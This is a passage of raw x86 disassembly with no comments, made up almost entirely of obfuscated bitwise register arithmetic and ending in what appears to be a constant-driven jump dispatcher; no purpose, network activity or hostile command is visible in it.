xor cl, 1
and cl, ah
xor cl, 1
xor dl, cl
or cl, ah
mov ah, dh
xor cl, 1
or cl, dl
mov dl, dh
xor dl, 1
and dl, cl
xor cl, 1
xor ah, cl
and cl, dh
and ah, dh
mov dh, al
or cl, dl
xor dh, 1
mov dl, ah
and ch, dh
and dl, cl
xor cl, ah
mov byte [esp], dh
mov ah, ch
xor dh, ch
or cl, dl
xor ah, 1
or ah, al
xor ah, 1
or ah, dh
mov bh, ah
xor bh, 1
and bh, ah
mov ah, cl
xor ah, 1
mov bl, ah
mov dl, ah
mov byte [esp + 4], ah
and bl, cl
and dl, bl
xor bl, ah
or bl, dl
mov dl, bh
mov ah, bl
xor ah, 1
or ah, bl
mov bl, bh
xor bl, 1
and dl, bl
mov dh, dl
xor dl, bh
xor dh, 1
or dh, bl
xor dh, 1
or dh, dl
mov dl, ch
xor ch, al
and dl, al
mov al, bl
or ch, dl
mov dl, byte [esp]
xor ch, dh
mov dh, byte [esp + 4]
and al, dl
xor bl, dl
mov dl, ah
and ah, cl
or bl, al
xor dl, 1
mov al, bl
xor al, ch
xor ch, 1
or ch, bl
xor al, 1
xor ch, 1
or ch, al
mov al, dl
xor al, dh
and al, dl
and dl, dh
or dl, ah
mov cl, al
and cl, dl
xor dl, al
mov al, ch
or dl, cl
xor al, 1
mov ah, dl
xor ah, 1
and ah, dl
mov cl, ah
xor ah, dl
and cl, dl
movzx edx, byte [esp + 0x33]
or ah, cl
mov cl, byte [esp + 0x32]
and al, ah
xor ah, 1
and ah, ch
mov ch, byte [esp + 0x27]
or ah, al
xor cl, 1
mov al, cl
and al, dl
xor dl, cl
xor ch, 1
or dl, al
mov al, ch
xor dl, ch
mov ch, dl
xor ch, 1
and ch, al
mov al, ch
xor ch, dl
and al, dl
or ch, al
mov al, ch
xor al, 1
or ch, al
mov cl, al
xor ch, 1
and cl, ch
xor ch, al
or ch, cl
mov cl, ah
mov al, ch
xor cl, 1
xor al, 1
mov edx, ecx
or al, ch
and dl, ah
xor ch, al
xor ch, 1
and ch, al
mov al, cl
or cl, ah
xor al, dl
xor dl, 1
mov dh, ch
or dl, ah
mov ah, cl
xor dl, 1
xor ah, 1
or dl, al
mov al, ch
xor al, 1
mov ebx, edx
mov byte [esp], dl
and al, ch
xor bl, 1
xor al, 1
and ah, bl
xor dh, al
or al, ch
mov ch, dl
xor ch, cl
xor al, 1
and cl, dl
and ch, dl
or al, dh
or cl, ah
mov ah, ch
mov bh, al
xor byte [esp], al
and ah, cl
xor cl, ch
xor bh, 1
mov ch, al
or cl, ah
mov ah, al
or ah, bh
and bh, al
xor ah, 1
mov dh, bh
xor bh, al
and ch, ah
xor ah, al
and dh, al
or al, dl
and dl, bl
or ah, ch
xor dl, 1
xor al, 1
or bh, dh
xor ah, 1
or al, byte [esp]
mov ch, ah
xor ah, cl
or ch, cl
xor ah, 1
xor ch, 1
and ah, cl
mov cl, ch
and cl, ah
xor ah, ch
or ah, cl
mov ecx, edx
or dl, bl
xor cl, bl
xor dl, 1
mov ch, ah
or dl, cl
xor bh, dl
mov dl, ah
xor bh, 1
xor dl, 1
mov cl, bh
and ch, dl
xor cl, al
or al, bh
mov bl, ch
xor ch, ah
xor al, 1
xor bl, 1
or al, cl
or bl, dl
mov cl, al
xor bl, 1
xor cl, 1
or bl, ch
mov dh, cl
and dh, al
mov ah, dh
xor dh, cl
mov ecx, edx
xor dl, al
xor ah, 1
and cl, al
or ah, al
or dl, cl
xor ah, 1
or ah, dh
xor ah, bl
xor ah, 1
mov al, ah
xor al, dl
or dl, ah
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ecx, eax
mov dh, al
or cl, dl
and dh, dl
mov ah, cl
mov bl, dh
xor ah, 1
xor bl, 1
mov bh, bl
mov ch, ah
or bl, dl
and ch, cl
xor bh, dl
xor bl, 1
xor cl, dl
or bl, bh
mov bh, ch
xor ch, ah
and bh, ah
or ah, al
or ch, bh
xor ah, 1
or ah, cl
xor ch, bl
xor ah, 1
mov cl, ch
and cl, ah
xor ah, ch
or ah, cl
mov cl, ah
mov dl, ah
mov ch, ah
xor cl, 1
and dl, cl
or cl, ah
and ch, dl
xor dl, ah
xor cl, 1
or dl, ch
xor dl, 1
mov ah, dl
and ah, cl
xor cl, dl
or cl, ah
mov ah, al
and ah, dh
xor dh, al
mov dl, cl
mov ch, cl
or dh, ah
xor dl, 1
mov al, dh
xor al, 1
mov ah, al
or al, dh
xor ah, dh
xor al, 1
mov dh, cl
or al, ah
mov ah, al
and ch, al
xor dh, al
xor al, dl
xor ah, 1
xor al, 1
or dh, ch
xor cl, ah
and al, dl
xor cl, 1
and cl, ah
mov dl, cl
and dl, al
xor al, cl
or al, dl
mov ecx, eax
and al, dh
xor dh, 1
xor cl, 1
mov dl, dh
xor dl, cl
and cl, dh
and dl, dh
or cl, al
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ecx
xor al, 1
mov edx, eax
mov ah, al
and dl, cl
and ah, dl
xor dl, al
or al, cl
or dl, ah
mov ecx, eax
mov ah, dl
xor cl, 1
xor ah, 1
and cl, al
and dl, ah
mov ch, ah
and ch, dl
xor dl, ah
or dl, ch
mov ch, al
and ch, cl
xor cl, al
or cl, ch
xor cl, dl
mov dl, ah
and dl, al
xor al, ah
xor cl, 1
or al, dl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
mov edx, eax
xor cl, 1
or dl, cl
mov ah, dl
mov ch, dl
xor ah, 1
and ah, dl
and ch, ah
xor ah, dl
or ah, ch
mov ch, ah
and ah, al
mov al, dl
xor dl, cl
xor ch, 1
and al, cl
or dl, al
and ch, cl
or ah, ch
mov al, dl
xor al, ah
xor ah, 1
or ah, dl
xor al, 1
xor ah, 1
or ah, al
mov cl, ah
mov dl, ah
xor cl, 1
mov al, cl
and dl, cl
or al, ah
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
and ah, al
xor al, 1
and dl, al
or dl, ah
mov ah, cl
xor ah, al
or al, cl
mov ecx, edx
xor al, 1
or al, ah
mov ah, byte [esp + 0xc]
xor al, 1
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov dl, ah
xor dl, 1
mov ecx, eax
mov bh, dl
mov ch, dl
xor cl, 1
and bh, ah
mov ah, dl
mov bl, cl
and ah, bh
xor ch, bh
xor bh, 1
or ch, ah
mov ah, al
or ah, cl
mov byte [esp], ch
xor ch, 1
mov dh, ah
xor bl, ah
and ah, cl
mov byte [esp + 0x10], ch
xor dh, 1
and bl, cl
and dh, al
or ah, dh
mov dh, bl
xor bl, ah
xor dh, 1
xor ah, 1
or ah, dh
xor ah, 1
or ah, bl
mov dh, ah
xor dh, 1
mov bl, dh
and bl, ah
xor dh, bl
xor bl, 1
or bl, ah
mov ah, bh
xor bl, 1
or bl, dh
mov ch, bl
mov dh, bl
mov bl, byte [esp + 0xc]
xor ch, 1
mov byte [esp + 0x14], dh
mov byte [esp + 0x18], ch
or bh, bl
xor ah, bl
mov bl, dh
xor bh, 1
and bl, ch
or bh, ah
xor bh, 1
mov ah, bh
xor bh, dl
and ah, dl
or bh, ah
mov ah, dh
mov dl, bh
xor dl, 1
mov byte [esp + 4], dl
mov dl, dh
or dl, ch
xor dl, 1
and ah, dl
xor dl, dh
or dl, ah
mov ah, cl
and ah, al
mov byte [esp + 8], dl
xor cl, ah
xor ah, 1
or ah, al
xor ah, 1
or ah, cl
mov al, ah
xor al, 1
mov ecx, eax
or al, ah
xor cl, ah
xor al, 1
mov ah, byte [esp + 4]
or al, cl
mov ecx, eax
xor cl, 1
mov dl, cl
or ah, bh
and dl, al
mov byte [esp + 0x34], ah
xor cl, dl
xor dl, 1
or dl, al
mov al, dh
xor dl, 1
and al, bl
or dl, cl
mov cl, dh
xor bl, cl
mov byte [esp + 0xc], dl
movzx edx, byte [esp + 0x10]
or bl, al
mov al, byte [esp]
mov ch, dl
or ch, al
mov dh, ch
mov byte [esp + 0x28], ch
xor dh, 1
mov cl, dh
and cl, al
mov byte [esp + 0x27], cl
mov cl, byte [esp + 4]
or al, cl
or ah, cl
and cl, dl
mov byte [esp + 0x2c], al
mov al, bl
xor al, 1
mov byte [esp + 4], al
mov al, dh
xor al, dl
and al, dh
and dh, dl
mov byte [esp + 0x1c], al
mov al, dl
xor dl, byte [esp + 4]
and dl, al
and al, ch
mov byte [esp + 0x20], dl
mov dl, byte [esp]
or al, byte [esp + 0x27]
or dl, ch
xor al, 1
mov ch, dl
xor ch, al
or al, dl
mov dl, ah
xor al, 1
or al, ch
mov ch, byte [esp + 0x34]
xor ch, bh
and bh, byte [esp]
or ah, ch
xor dl, ch
mov ch, byte [esp + 8]
xor ah, 1
or ah, dl
mov dl, al
xor dl, 1
or cl, bh
mov bh, byte [esp + 0xc]
and dl, ah
xor ah, 1
and ah, al
or ah, dl
mov dl, byte [esp + 0x2c]
mov al, dl
xor al, cl
xor cl, 1
or cl, dl
xor al, 1
mov dl, ah
xor cl, 1
or cl, al
mov al, cl
xor dl, cl
and cl, ah
and dl, ah
xor al, 1
xor ah, 1
and ah, al
mov al, dl
or cl, ah
xor al, 1
xor dl, cl
xor cl, 1
or cl, al
mov al, ch
xor cl, 1
xor al, 1
or cl, dl
mov dl, bh
xor dl, al
mov ah, dl
and dl, al
or ah, ch
xor ch, bh
xor ch, 1
and ch, bh
mov al, ch
and al, dl
xor dl, ch
or dl, al
mov al, ah
xor al, dl
xor dl, 1
or dl, ah
xor al, 1
xor dl, 1
mov ah, dl
and ah, al
xor al, dl
or al, ah
mov ah, cl
mov ch, al
xor ah, 1
xor ch, 1
mov dl, ch
and dl, cl
xor cl, ch
and ch, al
or cl, dl
xor ch, 1
mov dl, al
xor dl, ch
or ch, al
mov al, ah
xor ch, 1
or ch, dl
xor ch, 1
and al, ch
xor ch, ah
or ch, al
mov eax, ecx
xor al, 1
mov dl, al
and dl, cl
mov ah, dl
xor dl, al
and ah, al
mov al, ch
xor al, 1
or dl, ah
mov ah, al
and ah, ch
mov bh, ah
xor ah, al
mov al, dl
xor bh, 1
xor al, 1
or bh, ch
xor bh, 1
or bh, ah
mov ah, byte [esp]
and al, bh
xor bh, 1
and bh, dl
mov dl, byte [esp + 0x18]
or bh, al
mov al, cl
and al, ch
xor ch, cl
mov cl, byte [esp + 4]
or ch, al
mov al, bh
xor ch, 1
and al, ch
xor ch, bh
mov bh, byte [esp + 0x1c]
or ch, al
mov al, byte [esp + 0x28]
or bl, cl
and dl, bl
xor bl, 1
and al, ah
or dh, al
mov al, bh
and al, dh
xor dh, bh
mov bh, byte [esp + 0x14]
or dh, al
mov al, bl
xor dh, 1
xor al, bh
and al, bl
and bl, bh
or bl, dl
mov dl, al
and dl, bl
xor bl, al
mov al, dh
or bl, dl
xor al, bl
or dh, bl
xor al, 1
xor dh, 1
and al, bl
mov dl, al
and dl, dh
xor dh, al
or dh, dl
mov dl, cl
xor dl, ah
mov ah, byte [esp + 0x20]
mov al, ah
and al, dl
xor dl, ah
or dl, al
mov eax, edx
xor al, dh
xor dh, 1
or dh, dl
mov dl, dh
or dh, al
xor dl, al
xor dh, 1
or dh, dl
mov al, dh
mov ah, dh
xor al, 1
mov dl, al
or al, dh
and dl, dh
mov cl, al
xor dl, 1
xor cl, 1
xor ah, dl
or dl, dh
xor dl, 1
or dl, ah
mov ah, al
and ah, cl
mov dh, dl
xor al, ah
xor ah, 1
xor dh, cl
or ah, cl
or cl, dl
xor ah, 1
xor cl, 1
or ah, al
or cl, dh
mov dh, ch
mov al, ah
xor ah, 1
and al, dl
xor dl, 1
and ah, dl
or ah, al
xor ah, 1
mov al, ah
or ah, cl
xor al, cl
xor ah, 1
or ah, al
mov al, ah
xor al, 1
mov cl, al
and cl, ah
xor al, cl
xor cl, 1
or cl, ah
mov ah, ch
xor ah, 1
xor cl, 1
and dh, ah
or cl, al
mov bh, ah
mov bl, dh
mov dl, cl
xor dh, ch
mov al, cl
or bh, ch
and bl, ch
xor dl, 1
or dh, bl
mov byte [esp + 4], dl
or al, dl
mov bl, dh
mov dl, dh
and bl, bh
xor dl, 1
xor bh, 1
mov byte [esp], dl
mov dl, bh
and dl, byte [esp]
or dl, bl
mov bl, bh
or bh, ch
xor bl, ch
xor bh, 1
mov ch, al
or bh, bl
mov bl, dl
xor ch, 1
xor bh, 1
and bl, bh
xor bh, dl
mov dl, al
or bh, bl
and dl, ch
mov bl, al
xor bl, dl
xor dl, 1
or dl, ch
mov ch, al
xor al, cl
xor dl, 1
and ch, cl
or dl, bl
or al, ch
mov bl, byte [esp + 4]
xor dl, cl
xor dl, 1
mov ch, dl
xor ch, al
or al, dl
xor al, 1
or al, ch
xor al, 1
mov dl, al
xor al, bh
xor al, 1
or dl, bh
and al, bh
mov ch, dl
xor ch, al
xor al, 1
or al, dl
mov dl, bl
xor ch, 1
xor al, 1
and dl, cl
or al, ch
mov ch, bl
and ch, dl
xor dl, bl
or dl, ch
mov ch, byte [esp]
and ch, dl
xor dl, 1
and dl, dh
or dl, ch
mov ch, ah
or ah, cl
xor ch, cl
xor ah, 1
xor dl, 1
or ah, ch
mov ecx, edx
or dl, ah
xor cl, ah
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and dl, cl
mov ah, dl
xor dl, cl
and ah, cl
or dl, ah
mov ah, al
xor ah, 1
and ah, dl
xor dl, 1
and dl, al
or dl, ah
mov ah, al
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x26d43cdb
cmovne ecx, esi
test dl, 1
not al
mov edx, 0x26d43cdb
cmove ecx, esi
jmp 0x44c181
cmp ecx, 0x8d2df5b8
jle 0x43953e
cmp ecx, 0x98073692
jg 0x43a490
cmp ecx, 0x8d2df5b9
je 0x43e3cd
cmp ecx, 0x97a3d866
jne 0x42f660
mov eax, dword [0x4d0db4]
lea ecx, [eax - 1]
imul ecx, eax
mov edx, ecx
mov esi, ecx
mov dword [esp], ecx
not edx
and esi, 0xf506b6b1
mov eax, edx
mov dword [esp + 4], edx
and eax, 0xaf9494e
or esi, eax
mov eax, esi
xor esi, 0xa780906
xor eax, 0x850416a1
and esi, 0x7a7aa916
and eax, 0x858556e9
or esi, eax
mov eax, edx
mov edx, ecx
and eax, 0x7241e9fb
and edx, 0x8dbe1604
mov edi, esi
xor esi, 0x5a788014
or edx, eax
xor edi, 0x858556e9
and esi, 0x5afcd094
mov eax, edx
xor edx, 0x60406118
xor eax, 0x8dbe1604
and edx, 0xed7e6518
mov ecx, eax
and ecx, 0x12819ae7
or ecx, edx
xor ecx, 0x12819ae7
or ecx, eax
mov eax, edi
or edi, 0xd6b57024
and eax, 0xa5032f6b
mov edx, ecx
or esi, eax
mov eax, ecx
not edx
xor eax, 0x294a8fdb
and eax, edx
mov edx, esi
xor esi, 0x73b65f4f
xor edx, 0x5afcd094
and esi, edx
mov ebx, esi
and esi, 0x9230913d
not ebx
mov ebp, ebx
or ebx, edi
and ebp, 0x6dcf6ec2
not ebx
or esi, ebp
mov ebp, edi
and edi, 0x6dcf6ec2
not ebp
and ebp, 0x8119
or ebp, edi
xor ebp, esi
mov esi, edx
xor edx, ecx
and esi, ecx
and ecx, 0xd6b57024
or ebx, ebp
mov edi, ecx
or edx, esi
and edi, eax
xor eax, ecx
mov ecx, ebx
and ebx, 0xe0d76b38
not ecx
or eax, edi
and ecx, 0x1f2894c7
or ebx, ecx
mov ecx, eax
and eax, 0xe0d76b38
not ecx
and ecx, 0x1f2894c7
or eax, ecx
mov ecx, edx
and edx, 0xdc4f8707
not ecx
xor eax, ebx
and ecx, 0x23b078f8
mov esi, eax
and eax, 0xa6dc83f8
or edx, ecx
not esi
mov ecx, edx
mov edi, esi
xor edx, 0x23b078f8
xor ecx, 0x844c8300
or esi, edx
and edi, 0x59237c07
and edx, 0x59237c07
and ecx, 0xa6dc83f8
or eax, edi
not esi
or ecx, edx
xor ecx, eax
or esi, ecx
mov eax, esi
and esi, 0xd2abf7ec
not eax
and eax, 0x2d540813
or eax, esi
mov edx, eax
xor eax, 0x2d540812
xor edx, 0xd2abf7ec
and eax, edx
or edx, 1
mov ecx, eax
mov esi, edx
and eax, 0xca9d4a4c
not ecx
not esi
mov edi, ecx
or ecx, edx
and edx, 0x3562b5b3
and esi, 0xca9d4a4c
and edi, 0x3562b5b3
or esi, edx
not ecx
or eax, edi
mov edi, dword [esp]
xor esi, eax
or ecx, esi
mov esi, dword [esp + 4]
mov edx, ecx
and ecx, 0xfffffffe
not edx
mov eax, edx
and eax, 1
or ecx, eax
mov eax, esi
xor edx, ecx
and eax, 0x34a7c801
and edx, ecx
mov ecx, edi
and ecx, 0xcb5837fe
mov ebx, edx
or ecx, eax
mov eax, esi
mov ebp, ebx
mov edx, ecx
xor ecx, 0x20074000
or eax, 0x6a1f610c
not ebp
xor edx, 0x814016f2
or ecx, 1
and eax, 0x6a1f610d
and ecx, 0x6a1f610d
and edx, 0x95e09ef2
or edx, ecx
xor eax, edx
mov edx, ebp
mov ecx, eax
and eax, 0x75106383
and edx, 0x4a1a028
not ecx
and ecx, 0x8aef9c7c
or eax, ecx
mov ecx, esi
mov esi, edi
and ecx, 0x10f4cc7d
and esi, 0xef0b3382
xor eax, 0x75106383
or esi, ecx
mov ecx, eax
xor esi, 0xef0b3382
and ecx, esi
xor esi, eax
or esi, ecx
mov ecx, ebx
mov eax, esi
and esi, 0x23c2776e
not eax
and eax, 0xdc3d8891
or esi, eax
mov eax, ebx
or eax, 0xeb021103
and eax, 0xeb5a1fc7
or edx, eax
mov eax, ebp
and ebp, 0x362ee566
or eax, 0x4f9aeec
mov edi, eax
and eax, 0xeb5a1fc7
not edi
and edi, 0x10044010
or edi, eax
xor edi, edx
mov edx, esi
xor esi, 0xdc3d8891
mov eax, edi
and edi, 0x4ebcf664
xor edx, 0x23c2776e
not eax
mov ebx, edx
and edx, 0xc9d11a99
and eax, 0xb143099b
and ebx, 0x58b56822
or edi, eax
mov eax, esi
and eax, 0x362ee566
or edx, eax
not edx
or edx, esi
and esi, 0xa74a97dd
or ebx, esi
mov eax, ebx
xor ebx, 0x8300071d
xor eax, 0x58002802
and ebx, 0x83b5473d
and eax, 0x7c4ab8c2
or eax, ebx
mov ebx, edi
xor edi, 0xb5baa777
mov esi, edi
xor ebx, 0x4a455888
mov dword [esp + 0x10], edi
mov edi, eax
mov dword [esp + 8], ebx
and esi, 0xe6ba84bc
and ebx, 0x19457b43
xor edi, 0x7c4ab8c2
or ebx, esi
mov dword [esp + 0x14], edi
mov esi, ebx
xor ebx, 0xd09461da
xor esi, 0x9411a01
and esi, 0xc9d11a99
or ebx, esi
mov esi, ecx
mov ecx, eax
mov eax, edi
xor ecx, 0x83b5473d
and eax, 0xc9d11a99
xor esi, 0xc9d11a99
mov dword [esp + 0xc], ecx
and ecx, 0x362ee566
or esi, ebp
or ecx, eax
mov ebp, esi
mov eax, ecx
not ebp
xor eax, edi
and ebp, 0x48173afa
and eax, ecx
mov ecx, ebx
and ebx, 0xb7e8c505
not ecx
mov edi, ecx
xor edi, esi
and esi, 0xb7e8c505
and edi, ecx
and ecx, 0x48173afa
or ebp, esi
or ecx, ebx
mov ebx, edi
and edi, 0xd7a74ab7
not ebx
xor ebp, ecx
mov ecx, ebx
and ecx, 0x2858b548
or edi, ecx
mov ecx, ebp
and ebp, 0xd7a74ab7
not ecx
or ebx, ecx
and ecx, 0x2858b548
or ebp, ecx
mov ecx, eax
not ebx
xor ebp, edi
mov edi, eax
and ecx, 0x1982fe75
and eax, 0xd9e20cd7
not edi
or ebx, ebp
mov ebp, edx
and edi, 0xe67d018a
xor ebp, 0xd9e20cd7
or ecx, edi
xor ecx, 0x1982fe75
mov edi, ecx
and edi, 0x261df328
or eax, edi
mov edi, ecx
xor ecx, edx
and edi, edx
not edx
mov dword [esp + 0x18], eax
and ebp, edx
or edx, 0xd9e20cd7
or ecx, edi
mov eax, edx
mov esi, edx
not eax
and esi, 0xbc7492d3
and eax, 0x2096128
or eax, esi
mov esi, ebp
and ebp, 0x438b6d2c
not esi
or edx, esi
and esi, 0xbc7492d3
or ebp, esi
mov esi, dword [esp + 0x18]
not edx
xor ebp, eax
or edx, ebp
mov eax, esi
not eax
and eax, edx
not edx
and edx, esi
or edx, eax
mov edi, edx
and edx, 0x3aaa2983
not edi
mov eax, edi
or edi, ecx
and eax, 0xc555d67c
not edi
or edx, eax
mov eax, ecx
and ecx, 0xc555d67c
not eax
and eax, 0x3aaa2983
or eax, ecx
mov ecx, ebx
xor eax, edx
and ecx, 0xd2d9c598
or edi, eax
mov eax, ebx
not eax
and eax, 0x2d263a67
or ecx, eax
mov eax, edi
xor ecx, edi
not eax
xor ecx, 0x2d263a67
and eax, 0x4474c882
and ecx, edi
and edi, 0xbb8b377d
or edi, eax
mov eax, ecx
and ecx, 0x54a269d0
xor edi, ebx
not eax
xor edi, 0x4474c882
mov edx, eax
and edx, 0xab5d962f
and edi, ebx
or ecx, edx
mov edx, edi
and edi, 0x54a269d0
not edx
or eax, edx
and edx, 0xab5d962f
or edi, edx
mov edx, dword [esp + 0x10]
not eax
xor edi, ecx
or eax, edi
mov edi, dword [esp + 0xc]
mov ecx, edx
and edx, 0xbb47efa9
mov esi, edx
mov edx, dword [esp + 8]
and edi, 0x44b81056
and edx, 0x44b81056
or edx, esi
mov esi, edx
mov edx, dword [esp + 0x14]
or ecx, edx
and edx, 0xbb47efa9
or edi, edx
mov edx, ecx
not edx
xor edi, esi
mov esi, ecx
and esi, 0x5056a819
and edx, 0xafa957e6
or edx, esi
mov esi, edi
and edi, 0xafa957e6
not esi
or ecx, esi
and esi, 0x5056a819
or edi, esi
not ecx
xor edi, edx
or ecx, edi
mov edx, ecx
mov esi, ecx
and ecx, 0x27ac6add
not edx
and esi, 0x40128502
and edx, 0x98411020
or esi, edx
xor esi, 0x40128502
or ecx, esi
mov esi, eax
mov edx, ecx
and ecx, 0xd8539522
not edx
and edx, 0x27ac6add
or ecx, edx
mov edx, ecx
and ecx, 0x3c82902c
not edx
and edx, 0xc37d6fd3
or ecx, edx
mov edx, ecx
xor ecx, 0x80302610
xor edx, 0x1c829024
and ecx, 0xa0302618
and edx, 0x5fcfd9e7
or edx, ecx
mov edi, edx
xor edx, 0x5689c187
xor edi, 0xa0302408
and edx, 0x5689c397
and edi, 0xa9763c68
or edi, edx
mov edx, eax
mov ecx, edi
xor edi, 0x5689c397
not edx
xor esi, edi
xor ecx, 0x602848
and edx, 0xbf9f1630
and edi, 0xbf9f1630
and ecx, 0x4060e9cf
and esi, eax
and eax, 0x4060e9cf
or ecx, edi
or eax, edx
mov edi, esi
and esi, 0x6ecedcf1
xor ecx, eax
not edi
mov eax, ecx
mov edx, edi
and ecx, 0x6ecedcf1
not eax
and edx, 0x9131230e
or edi, eax
and eax, 0x9131230e
or esi, edx
or ecx, eax
not edi
mov eax, dword [esp + 4]
xor ecx, esi
or edi, ecx
mov ecx, dword [esp]
mov edx, edi
and eax, 0xd1460b94
mov dword [esp + 8], edx
and ecx, 0x2eb9f46b
or ecx, eax
mov eax, ecx
xor ecx, 0x41000a90
xor eax, 0x2b8b069
and ecx, 0x6d014e92
and eax, 0x92feb16d
or eax, ecx
mov ecx, eax
xor eax, 0x68014092
xor ecx, 0x12cc2108
and eax, 0xe833d0f7
and ecx, 0x17cc2f08
or ecx, eax
mov eax, ecx
xor ecx, 0xe833d0f7
xor eax, 0x17cc2f08
mov esi, ecx
and esi, eax
and eax, 0x8c61cf1f
mov ebp, esi
and esi, 0x8c61cf1f
not ebp
mov edi, ebp
or ebp, ecx
and ecx, 0x739e30e0
and edi, 0x739e30e0
or eax, ecx
mov ecx, edx
not ebp
or esi, edi
not ecx
mov edi, edx
xor eax, esi
mov esi, ecx
mov dword [esp + 4], ecx
and edi, 0xc3b733d5
or ebp, eax
mov eax, ecx
mov ecx, edx
and eax, 0xc23a52ce
and ecx, 0x3dc5ad31
or ecx, eax
mov eax, ecx
and ecx, 0x48637ea6
not eax
and eax, 0xb79c8159
or ecx, eax
mov eax, ecx
xor ecx, 0x24004000
xor eax, 0x8080408
and ecx, 0x24404820
and eax, 0x1808840a
or eax, ecx
mov ecx, ebp
mov dword [esp], eax
mov eax, esi
mov esi, ebp
and ecx, 0xec4c4777
and eax, 0x3c48cc2a
not esi
or edi, eax
mov eax, esi
and esi, 0x851081bd
and eax, 0x13b3b888
not edi
or ecx, eax
or edi, dword [esp + 4]
mov edx, ecx
xor ecx, 0x2839888
or ecx, 0x3d7c2363
xor edx, 0x14
mov ebx, ecx
and edx, 0x81c
and ebx, 0xd7b7d7e0
or edx, ebx
mov ebx, ebp
xor ebx, 0xc283dc9c
and ebx, ebp
and ebp, 0x7aef7e42
mov eax, ebx
and ebx, 0x2848281f
or ebp, esi
not eax
or ecx, eax
and eax, 0xd7b7d7e0
or ebx, eax
not ecx
xor ebx, edx
or ecx, ebx
mov eax, ecx
and ecx, 0x492636ce
not eax
and eax, 0xb6d9c931
or ecx, eax
mov edx, ecx
xor ecx, 0x745a15ad
xor edx, 0x82a46012
mov eax, ecx
and eax, 0x7d5b8fe4
and edx, 0x82a4701b
or edx, eax
mov eax, ebp
xor ebp, 0x46a7b268
xor edx, 0x411343ce
xor eax, 0x38484c02
or edx, ecx
and eax, 0x3c48cc2a
mov ecx, edi
or ebp, eax
mov dword [esp + 0xc], edx
mov edx, dword [esp]
not ecx
mov eax, ebp
and ebp, 0x872cf64f
not eax
and eax, 0x78d309b0
or ebp, eax
mov eax, edi
xor edi, 0x96c13c43
xor edx, 0x1808840a
and edi, ecx
or edx, 0xc3b733d5
and eax, 0xf174d27b
and ecx, 0xe8b2d84
mov dword [esp + 0x10], ebp
mov ebp, edx
or ecx, eax
mov eax, edx
mov dword [esp], edx
xor eax, 0x96c13c43
not ebp
and eax, edx
mov edx, ebp
and edx, 0x14400c02
mov esi, eax
and esi, edx
xor edx, eax
mov eax, ecx
or edx, esi
mov esi, ecx
xor eax, 0xe8b2d84
xor ecx, 0xf174d27b
xor esi, 0x984a11c7
and esi, eax
and eax, 0xc05a889d
mov ebx, esi
and ebx, edi
xor edi, esi
mov esi, edx
or edi, ebx
not esi
and esi, edi
not edi
and edi, edx
mov edx, ebp
or ebp, ecx
and ecx, 0x3fa57762
or edi, esi
mov esi, dword [esp]
and edx, 0x3c004422
or eax, ecx
not ebp
and esi, 0xc05a889d
or esi, edx
mov edx, dword [esp + 0x10]
xor eax, esi
mov esi, dword [esp + 0xc]
or ebp, eax
mov eax, edi
not ebp
and eax, ebp
xor ebp, edi
or ebp, eax
mov eax, edx
mov ecx, esi
xor edx, 0x78d309b0
xor eax, 0x872cf64f
not ecx
and eax, esi
or esi, edx
and edx, ecx
mov ecx, ebp
not esi
or edx, eax
xor ecx, 0xec0e4a52
mov eax, esi
and ecx, ebp
and eax, edx
xor edx, esi
mov esi, ebp
not ebp
or edx, eax
and ebp, 0x669ed9c5
and esi, 0x9961263a
mov eax, edx
or esi, ebp
mov ebp, dword [esp + 8]
mov ebx, eax
mov edi, eax
xor ebx, 0xec0e4a52
and edi, 0x87f31e35
and ebx, eax
not eax
and eax, 0x780ce1ca
or edi, eax
mov eax, edi
xor edi, 0x9402ab98
xor eax, 0x87f31e35
and edi, eax
mov eax, esi
xor esi, 0x640e4840
or esi, 0x13f1b5ad
xor eax, 0x88000002
mov edx, esi
and eax, 0xec044842
and edx, 0x13fab29c
or eax, edx
mov edx, ecx
and ecx, 0xec054d63
not edx
or esi, edx
and edx, 0x13fab29c
or ecx, edx
not esi
xor ecx, eax
or esi, ecx
mov ecx, edi
and edi, 0x6f0b3959
not ecx
mov eax, ecx
and eax, 0x90f4c6a6
or edi, eax
mov eax, ebx
and ebx, 0x6f0b3959
not eax
or ecx, eax
and eax, 0x90f4c6a6
or ebx, eax
mov eax, esi
not ecx
and esi, 0xca3fdaa9
xor ebx, edi
not eax
mov edi, dword [esp + 4]
and eax, 0x35c02556
or ecx, ebx
or esi, eax
mov eax, ecx
and ecx, 0xca3fdaa9
not eax
and eax, 0x35c02556
or ecx, eax
mov eax, edi
and edi, 0xc6f139e5
and eax, ebp
xor ecx, esi
mov esi, ebp
mov edx, eax
and esi, 0x390ec61a
and eax, 0xc6f139e5
not edx
or edi, esi
mov esi, ecx
or ebp, edx
and edx, 0x390ec61a
not esi
or eax, edx
not ebp
xor eax, edi
mov edi, ecx
and ecx, 0x3b5661b9
or ebp, eax
mov eax, esi
and edi, 0x554a9b9b
and esi, 0xc4a99e46
mov edx, ebp
mov ebx, ebp
and eax, 0xaab56464
or ecx, esi
or edx, 0x554a9b9b
xor ebx, 0xaab56464
or edi, eax
mov esi, ecx
xor ecx, 0xc4a99e46
mov eax, edx
and ebx, ebp
mov ebp, edx
xor esi, 0x31040010
not eax
and ebp, 0x3e10fea
and esi, 0xb5a49610
and eax, 0xa8146004
or eax, ebp
mov ebp, ebx
and ebx, 0xfc1ef015
not ebp
or edx, ebp
and ebp, 0x3e10fea
or ebx, ebp
not edx
xor ebx, eax
mov eax, dword [0x4d0db8]
or edx, ebx
mov ebx, edi
not ebx
and ebx, edx
not edx
and edx, edi
or edx, ebx
mov edi, edx
mov ebx, edx
or edx, ecx
and ecx, 0x4a5b69ef
not edi
and ebx, 0x4a5b69ef
or esi, ecx
not edx
and edi, 0xb5a49610
or edi, ebx
xor esi, edi
or edx, esi
mov esi, 0x643172b0
mov ecx, edx
and edx, 0x392d2f8
not ecx
and ecx, 0xfc6d2d07
or edx, ecx
xor edx, 0x392d2f8
sete bl
setne cl
cmp eax, 0xa
